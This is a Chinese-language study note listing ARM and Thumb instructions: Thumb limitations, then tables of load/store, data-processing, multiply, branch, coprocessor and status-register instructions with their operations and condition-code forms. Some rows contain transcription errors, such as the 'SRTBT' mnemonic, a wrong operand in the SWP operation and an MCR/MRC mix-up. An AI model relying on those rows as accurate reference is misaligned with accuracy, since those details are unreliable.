Thumb 指令集没有协处理器指令,信号量指令以及访问 CPSR 或 SPSR 的指令,没有乘加指令及 64 位乘法指令等,且指令的第二操作数受到限制;除了跳转指令 B 有条件执行功能外,其它指令均为无条件执行;大多数 Thumb 数据处理指令采用 2 地址格式.Thumb指令集与 ARM 指令的区别一般有如下几点:
跳转指令
程序相对转移,特别是条件跳转与 ARM 代码下的跳转相比,在范围上有更多的限制,转向子程序是无条件的转移.
数据处理指令
数据处理指令是对通用寄存器进行操作,在大多数情况下,操作的结果须放入其中一个操作数寄存器中,而不是第 3 个寄存器中.数据处理操作比 ARM 状态的更少,访问寄存器 R8~R15 受到一定限制.除 MOV 和 ADD 指令访问器 R8~R15 外,其它数据处理指令总是更新 CPSR 中的 ALU 状态标志.访问寄存器 R8~R15 的 Thumb 数据处理指令不能更新 CPSR 中的 ALU 状态标志.
单寄存器加载和存储指令
在 Thumb 状态下,单寄存器加载和存储指令只能访问寄存器 R0~R7
批量寄存器加载和存储指令
LDM 和 STM 指令可以将任何范围为 R0~R7 的寄存器子集加载或存储. PUSH 和 POP 指令使用堆栈指令 R13 作为基址实现满递减堆栈.除 R0~R7 外,PUSH 指令还可以存储链接寄存器 R14,并且 POP 指令可以加载程序指令PC

ARM指令分为以下几种:

一、ARM 存储器访问指令
助记符                       说明                                        操作                                                  条件码位置
LDR    Rd,addressing      加载字数据                            Rd←[addressing],addressing 索引 LDR{cond}
LDRB   Rd,addressing    加载无符字节数据                  Rd←[addressing],addressing 索引 LDR{cond}B
LDRT   Rd,addressing    以用户模式加载字数据        Rd←[addressing],addressing 索引 LDR{cond}T
LDRBT Rd,addressing    以用户模式加载无符号字数据 Rd←[addressing],addressing 索引 LDR{cond}BT
LDRH   Rd,addressing    加载无符半字数据              Rd←[addressing],addressing 索引 LDR{cond}H
LDRSB Rd,addressing    加载有符字节数据        Rd←[addressing],addressing 索引 LDR{cond}SB
LDRSH Rd,addressing    加载有符半字数据     Rd←[addressing],addressing 索引 LDR{cond}SH
STR    Rd,addressing    存储字数据                        [addressing]←Rd,addressing 索引 STR{cond}
STRB   Rd,addressing    存储字节数据       [addressing]←Rd,addressing 索引 STR{cond}B
STRT   Rd,addressing    以用户模式存储字数据    [addressing]←Rd,addressing 索引 STR{cond}T
SRTBT Rd,addressing    以用户模式存储字节数据   [addressing]←Rd,addressing 索引 STR{cond}BT
STRH   Rd,addressing    存储半字数据          [addressing]←Rd,addressing 索引 STR{cond}H
LDM{mode} Rn{!},reglist   批量(寄存器)加载       reglist←[Rn…],Rn 回存等          LDM{cond}{more}
STM{mode} Rn{!},rtglist   批量(寄存器)存储           [Rn…]← reglist,Rn 回存等         STM{cond}{more}
SWP     Rd,Rm,Rn          寄存器和存储器字数据交换 Rd←[Rd],[Rn]←[Rm](Rn≠Rd 或 Rm) SWP{cond}
SWPB    Rd,Rm,Rn        寄存器和存储器字节数据交换 Rd←[Rd],[Rn]←[Rm](Rn≠Rd 或 Rm) SWP{cond}B

二、ARM 数据处理指令
助记符号                                   说明                                   操作               条件码位置
MOV Rd ,operand2   数据转送                           Rd←operand2               MOV {cond}{S}
MVN Rd ,operand2   数据非转送                        Rd←(operand2)             MVN {cond}{S}
ADD Rd,Rn operand2 加法运算指令                  Rd←Rn+operand2            ADD {cond}{S}
SUB Rd,Rn operand2 减法运算指令                  Rd←Rn-operand2            SUB {cond}{S}
RSB Rd,Rn operand2 逆向减法指令                  Rd←operand2-Rn            RSB {cond}{S}
ADC Rd,Rn operand2 带进位加法                     Rd←Rn+operand2+carry      ADC {cond}{S}
SBC Rd,Rn operand2 带进位减法指令            Rd←Rn-operand2-(NOT)Carry SBC {cond}{S}
RSC Rd,Rn operand2 带进位逆向减法指令       Rd←operand2-Rn-(NOT)Carry RSC {cond}{S}
AND Rd,Rn operand2 逻辑与操作指令              Rd←Rn&operand2            AND {cond}{S}
ORR Rd,Rn operand2 逻辑或操作指令             Rd←Rn|operand2            ORR {cond}{S}
EOR Rd,Rn operand2 逻辑异或操作指令          Rd←Rn^operand2            EOR {cond}{S}
BIC Rd,Rn operand2 位清除指令                      Rd←Rn&(~operand2)         BIC {cond}{S}
CMP Rn,operand2    比较指令                       标志 N、Z、C、V←Rn-operand2 CMP {cond}
CMN Rn,operand2    负数比较指令               标志 N、Z、C、V←Rn+operand2 CMN {cond}
TST Rn,operand2    位测试指令                    标志 N、Z、C、V←Rn&operand2 TST {cond}
TEQ Rn,operand2    相等测试指令                标志 N、Z、C、V←Rn^operand2 TEQ {cond}

三、乘法指令
具有 32×32 乘法指令,32×32 乘加指令,32×32 结果为 64 位的乘/乘法指令.
助记符                                               说明                        操作              条件码位置
MUL   Rd,Rm,Rs        32 位乘法指令    Rd←Rm*Rs           (Rd≠Rm)    MUL{cond}{S}
MLA   Rd,Rm,Rs,Rn     32 位乘加指令    Rd←Rm*Rs+Rn        (Rd≠Rm)    MLA{cond}{S}
UMULL RdLo,RdHi,Rm,Rs 64 位无符号乘法指令 (RdLo,RdHi)←Rm*Rs             UMULL{cond}{S}
UMLAL RdLo,RdHi,Rm,Rs 64 位无符号乘加指令 (RdLo,RdHi)←Rm*Rs+(RdLo,RdHi) UMLAL{cond}{S}
SMULL RdLo,RdHi,Rm,Rs 64 位有符号乘法指令 (RdLo,RdHi)←Rm*Rs             SMULL{cond}{S}
SMLAL RdLo,RdHi,Rm,Rs 64 位有符号乘加指令 (RdLo,RdHi)←Rm*Rs+(RdLo,RdHi) SMLAL{cond}{S}

四、跳转指令
在 ARM 中有两种方式可以实现程序的跳转,一种是使用跳转指令直接跳转,另一种则是直接向 PC 寄存器赋值实现跳转.

助记符           说明                            操作                    条件码位置
B label 跳转指令                             Pc←label                 B{cond}
BL label 带链接的跳转指令             LR←PC-4, PC←label BL{cond}
BX Rm    带状态切换的跳转指令    PC←label,切换处理状态 BX{cond}

五、ARM协处理器指令
ARM 支持协处理器操作,协处理器的控制要通过协处理器命令实现.
助记符                                                            说明                           操作             条件码位置
CDP
coproc,opcodel,CRd,CRn,CRm{,opcode2}     协处理器数据操作指令       取决于协处理器   CDP{cond}
LDC{L} coproc,CRd〈地址〉                  协处理器数据读取指令      取决于协处理器   LDC{cond}{L}
STC{L} coproc,CRd,〈地址〉                 协处理器数据写入指令      取决于协处理器   STC{cond}{L}
ARM 寄存器到协处理器
MCR coproc, opcodel,Rd,CRn,{,opcode2}   寄存器的数据传送指令       取决于协处理器 MCR{cond}
协处理器寄存器到 ARM
MRC coproc, opcodel,Rd,CRn,{,opcode2}   寄存器到数据传送指令        取决于协处理器MCR{cond}

五、ARM 杂项指令
助记符                                                说明                            操作                               条件码位置
SWI immed_24                软中断指令               产生软中断,处理器进入管理模式       SWI{cond}
MRS Rd,psr                  读状态寄存器指令 Rd←psr,psr 为 CPSR 或 SPSR                  MRS{cond}
MSR psr_fields,Rd/#immed_8r 写状态寄存器指令 psr_fields←Rd/#immed_8r,psr 为 CPSR 或 SPSR MSR{cond}